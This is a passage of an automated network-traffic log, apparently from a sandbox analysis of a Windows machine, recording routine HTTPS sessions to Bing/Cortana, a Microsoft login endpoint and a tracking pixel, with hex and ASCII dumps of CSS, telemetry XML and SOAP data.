MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-10-23 22:27:01 UTC	9614	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 35 38 31 34 34 33 33 34 62 61 66 31 34 37 62 63 62 37 64 38 30 62 66 31 33 61 33 37 37 31 62 62 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 74 6f 74 61 6c 6e 75 6d 62 65 72 4f 66 45 6e 74 72 69 65 73 22 3a 22 30 22 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.ClientInst</T><IG>58144334baf147bcb7d80bf13a3771bb</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","totalnumberOfEntries":"0"
2024-10-23 22:27:02 UTC	428	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F192823666A64A8C9AC090E50B64463F Ref B: DFW311000108039 Ref C: 2024-10-23T22:27:01Z Date: Wed, 23 Oct 2024 22:27:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.16	49759	23.1.33.206	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:02 UTC	780	OUT	GET /rb/3F/ortl,cc,nc/4-xJy3tX6bM2BGl5zKioiEcQ1TU.css?bu=A4gCjAKPAg&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
2024-10-23 22:27:02 UTC	1211	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Dec 2023 22:46:03 GMT X-EventID: 66e2ba79b3f5496383449854055460e1 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: BNZEEAP0002305F X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.75} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=349769 Expires: Sun, 27 Oct 2024 23:36:31 GMT Date: Wed, 23 Oct 2024 22:27:02 GMT Content-Length: 15967 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.95200117.1729722422.27063f9c Timing-Allow-Origin: *
2024-10-23 22:27:02 UTC	15173	IN	Data Raw: 68 74 6d 6c 7b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 62 6f 64 79 5b 64 69 72 5d 20 74 61 62 6c 65 2c 62 6f 64 79 5b 64 69 72 5d 20 74 64 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 62 6f 64 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 53 61 6e 73 2d 53 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 7d 62 6f 64 79 5b 64 69 72 5d 7b 6d 61 72 67 69 6e 3a 30 7d 62 6f 64 79 20 2e 74 61 6c 6c 55 78 7b Data Ascii: html{-ms-user-select:none;overflow-y:hidden;overflow-x:hidden;cursor:default}body[dir] table,body[dir] td{margin:0;padding:0}body{font-size:15px;line-height:20px;font-family:"Segoe UI",Arial,Helvetica,Sans-Serif;color:#000}body[dir]{margin:0}body .tallUx{
2024-10-23 22:27:02 UTC	794	IN	Data Raw: 6f 74 28 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 29 3a 6e 6f 74 28 2e 63 6f 72 74 61 6e 61 49 63 6f 6e 29 20 2e 69 63 6f 6e 20 69 6d 67 7b 77 69 64 74 68 3a 31 33 70 78 3b 68 65 69 67 68 74 3a 31 33 70 78 7d 2e 61 73 50 61 64 64 69 6e 67 20 2e 64 6f 75 62 6c 65 4c 69 6e 65 20 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 3e 2e 69 63 6f 6e 7b 6d 69 6e 2d 77 69 64 74 68 3a 34 34 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 70 78 7d 62 6f 64 79 5b 64 69 72 5d 20 2e 61 73 50 61 64 64 69 6e 67 20 2e 64 6f 75 62 6c 65 4c 69 6e 65 20 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 3e 2e 69 63 6f 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 70 78 7d 2e 61 73 50 61 64 64 69 6e 67 20 2e 6e 6f 72 6d 61 6c 69 7a 65 64 42 69 Data Ascii: ot(.secondaryIcon):not(.cortanaIcon) .icon img{width:13px;height:13px}.asPadding .doubleLine .secondaryIcon>.icon{min-width:44px;min-height:44px;max-height:44px}body[dir] .asPadding .doubleLine .secondaryIcon>.icon{padding-top:6px}.asPadding .normalizedBi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49756	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-23 22:27:02 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-23 22:27:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 23 Oct 2024 22:26:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 080a9c7c-3344-4696-bf82-0bd38751a14a PPServer: PPV: 30 H: SN1PEPF0002F94D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 23 Oct 2024 22:27:03 GMT Connection: close Content-Length: 11412
2024-10-23 22:27:03 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.16	49760	150.171.84.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:03 UTC	481	OUT	GET /apc/trans.gif?e3bfee56476065f0ab149b748f731e37 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: p-ring.msedge.net Connection: Keep-Alive
2024-10-23 22:27:03 UTC	314	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:27:03 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Fri, 11 Oct 2024 06:46:59 GMT Connection: close ETag: "6708c9e3-2b" x-azure-ref: 20241023T222703Z-r197bdfb6b4tq6ldv3s2dcykm800000000sg0000000008nf X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-10-23 22:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.16	49761	23.1.33.206	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:03 UTC	913	OUT	GET /rb/6k/cir3,ortl,cc,nc/kMuSwIezxCpzqkuspnuwJzXKYu0.css?bu=M8IKvArICrwKrAu8CrILvAq8CrwKvQu8CsQLvArKC7wK0Au8CtYLvAraCrwK4Aq8CtQKvAq8CqMLvArvCrwK9Qq8CukKvAq8CoULiAu8CrwKoAuOC7wKlAuXC7wKggy8CtwLvAqwDA&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
2024-10-23 22:27:03 UTC	1248	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Wed, 09 Oct 2024 05:33:21 GMT X-EventID: 67106c38f5e0446693eb70fcc6aed82a UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: BNZEEAP00016A30 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.75} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=226056 Expires: Sat, 26 Oct 2024 13:14:39 GMT Date: Wed, 23 Oct 2024 22:27:03 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.85200117.1729722423.42f05179 Timing-Allow-Origin: *
2024-10-23 22:27:03 UTC	15136	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 61 6c 67 6f 50 6c 61 63 65 68 6f 6c 64 65 72 53 68 69 6d 6d 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 30 25 29 7d 31 30 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 31 30 30 25 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 2d 6f 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a Data Ascii: 00006000@keyframes algoPlaceholderShimmer{0%{transform:translateX(-100%)}100%{transform:translateX(100%)}}@keyframes fadein{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadein{0%{opacity:0}100%{opacity:1}}@-o-keyframes fadein{0%{opacity:0;}100%{opacity:
2024-10-23 22:27:03 UTC	9452	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 5f 64 65 74 61 69 6c 73 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 38 70 78 7d 62 6f 64 79 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 63 6f 6e 74 65 78 74 4d 65 6e 75 20 2e 6d 65 6e 75 2d 69 74 65 6d 5f 64 65 74 61 69 6c 73 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 38 70 78 7d 2e 63 6f 6e 74 65 78 74 4d 65 6e 75 20 2e 64 69 76 69 64 65 72 7b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 7d 62 6f 64 79 5b 64 69 72 5d 20 2e 63 6f 6e 74 65 78 74 4d 65 6e 75 20 2e 64 69 76 69 64 65 72 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 34 70 78 20 31 32 70 78 7d 2e 64 61 72 6b 54 68 65 6d 65 20 2e 63 6f 6e 74 65 78 74 4d 65 6e 75 20 2e 64 69 Data Ascii: menu-item_details{padding-left:28px}body[dir='rtl'] .contextMenu .menu-item_details{padding-right:28px}.contextMenu .divider{border:0;border-top:1px solid rgba(0,0,0,.2)}body[dir] .contextMenu .divider{padding:0;margin:4px 12px}.darkTheme .contextMenu .di
2024-10-23 22:27:03 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 74 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 33 36 70 78 20 2b 20 31 32 70 78 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 7d 62 6f 64 79 5b 64 69 72 5d 20 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 2c 62 6f 64 79 5b 64 69 72 5d 20 23 63 6f 70 69 6c 6f 74 4c 6f 61 64 69 6e 67 53 63 72 65 65 6e 7b 6d 61 72 67 69 6e 3a 31 32 70 78 20 31 32 70 78 20 30 20 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 32 70 78 7d 2e 64 61 72 6b 54 68 65 6d 65 20 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 2c 2e 64 61 72 6b 54 68 65 6d 65 20 23 63 6f 70 69 6c 6f 74 4c 6f 61 64 69 6e 67 53 63 72 65 65 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 Data Ascii: 00006000t:calc(100% - 36px + 12px);background-color:#fff;box-sizing:content-box}body[dir] #loadingScreen,body[dir] #copilotLoadingScreen{margin:12px 12px 0 12px;padding-top:12px}.darkTheme #loadingScreen,.darkTheme #copilotLoadingScreen{background-color
2024-10-23 22:27:03 UTC	8204	IN	Data Raw: 3a 6e 6f 6e 65 7d 62 6f 64 79 5b 64 69 72 3d 27 6c 74 72 27 5d 20 2e 74 6f 70 52 65 73 75 6c 74 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 2e 74 6f 70 52 65 73 75 6c 74 54 65 6d 70 6c 61 74 65 49 6e 47 72 6f 75 70 73 20 2e 73 75 67 67 44 65 74 61 69 6c 73 43 6f 6e 74 61 69 6e 65 72 2c 62 6f 64 79 5b 64 69 72 3d 27 6c 74 72 27 5d 20 2e 74 6f 70 52 65 73 75 6c 74 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 2e 77 69 74 68 4f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 20 2e 73 75 67 67 44 65 74 61 69 6c 73 43 6f 6e 74 61 69 6e 65 72 2c 62 6f 64 79 5b 64 69 72 3d 27 6c 74 72 27 5d 20 2e 67 72 6f 75 70 20 2e 74 6f 70 52 65 73 75 6c 74 54 65 6d 70 6c 61 74 65 49 6e 47 72 6f 75 70 73 2e 73 75 67 67 65 73 74 69 6f 6e 2e 77 69 74 68 4f 70 65 6e 50 72 65 76 69 65 77 Data Ascii: :none}body[dir='ltr'] .topResults .suggestion.topResultTemplateInGroups .suggDetailsContainer,body[dir='ltr'] .topResults .suggestion.withOpenPreviewPaneBtn .suggDetailsContainer,body[dir='ltr'] .group .topResultTemplateInGroups.suggestion.withOpenPreview
2024-10-23 22:27:03 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 2e 6f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 6f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 20 2e 70 72 65 76 69 65 77 4f 70 65 6e 65 64 49 63 6f 6e 2c 2e 6f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 20 2e 6f 70 65 6e 50 72 65 76 69 65 77 49 63 6f 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 70 72 65 76 69 65 77 50 61 6e 65 4f 70 65 6e 65 64 20 2e 6f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 2c 2e 70 72 65 76 69 65 77 50 61 6e 65 4f 70 65 6e 69 6e 67 20 2e 6f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e Data Ascii: 00004000,.openPreviewPaneBtn{align-items:center;justify-content:center}.openPreviewPaneBtn .previewOpenedIcon,.openPreviewPaneBtn .openPreviewIcon{display:none}.previewPaneOpened .openPreviewPaneBtn,.previewPaneOpening .openPreviewPaneBtn{display:none}.
2024-10-23 22:27:03 UTC	12	IN	Data Raw: 65 79 66 72 61 6d 65 73 20 66 0d 0a Data Ascii: eyframes f
2024-10-23 22:27:03 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 61 64 65 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 2d 6f 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 6f 6f 70 69 6e 67 52 6f 74 61 74 65 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 Data Ascii: 00004000adein{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadein{0%{opacity:0}100%{opacity:1}}@-o-keyframes fadein{0%{opacity:0;}100%{opacity:1;}}@-webkit-keyframes fadein{0%{opacity:0}100%{opacity:1}}@keyframes loopingRotate{0%{transform:rotate(0deg)
2024-10-23 22:27:03 UTC	12	IN	Data Raw: 75 73 61 62 6c 65 29 7b 62 6f 0d 0a Data Ascii: usable){bo
2024-10-23 22:27:03 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 61 63 63 65 6e 74 31 29 7d 23 72 6f 6f 74 3a 6e 6f 74 28 2e 77 69 6e 31 31 29 3a 6e 6f 74 28 2e 66 69 6c 65 45 78 70 6c 6f 72 65 72 29 3a 6e 6f 74 28 2e 7a 65 72 6f 49 6e 70 75 74 31 39 48 31 29 20 2e 67 72 6f 75 70 43 6f 6e 74 61 69 6e 65 72 20 2e 73 65 6c 65 63 74 61 62 6c 65 2e 73 75 67 67 65 73 74 69 6f 6e 2e 61 72 72 6f 77 4f 72 54 61 62 41 63 74 69 6f 6e 2e 73 61 5f 68 76 3a 6e 6f 74 28 2e 66 6f 63 75 73 61 62 6c 65 29 3a 68 6f 76 65 72 2c 23 72 6f 6f 74 3a 6e 6f 74 28 2e 77 69 6e 31 31 29 3a 6e 6f 74 28 2e 66 69 6c 65 45 78 70 6c 6f 72 65 72 29 3a 6e 6f 74 28 2e 7a Data Ascii: 00006000rder-color:#000;outline:none;background-color:var(--accent1)}#root:not(.win11):not(.fileExplorer):not(.zeroInput19H1) .groupContainer .selectable.suggestion.arrowOrTabAction.sa_hv:not(.focusable):hover,#root:not(.win11):not(.fileExplorer):not(.z
2024-10-23 22:27:03 UTC	8204	IN	Data Raw: 72 6f 75 70 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 3a 68 6f 76 65 72 20 2e 73 65 63 6f 6e 64 61 72 79 4d 65 74 61 64 61 74 61 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 7d 62 6f 64 79 5b 64 69 72 5d 20 2e 66 6c 61 74 4c 69 73 74 57 69 74 68 6f 75 74 47 72 6f 75 70 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 20 2e 73 65 63 6f 6e 64 61 72 79 54 65 78 74 3a 6e 6f 74 28 2e 73 65 63 6f 6e 64 61 72 79 4d 65 74 61 64 61 74 61 29 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 70 78 7d 2e 66 6c 61 74 4c 69 73 74 57 69 74 68 6f 75 74 47 72 6f 75 70 73 20 2e 73 75 67 67 65 73 74 69 6f 6e 20 2e 73 65 63 6f 6e 64 61 72 79 54 65 78 74 3a 6e 6f 74 28 2e 73 65 63 6f 6e 64 61 72 79 4d 65 74 61 64 61 74 61 29 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 20 2d 20 22 7d Data Ascii: roups .suggestion:hover .secondaryMetadata{margin-right:auto}body[dir] .flatListWithoutGroups .suggestion .secondaryText:not(.secondaryMetadata){margin-top:2px}.flatListWithoutGroups .suggestion 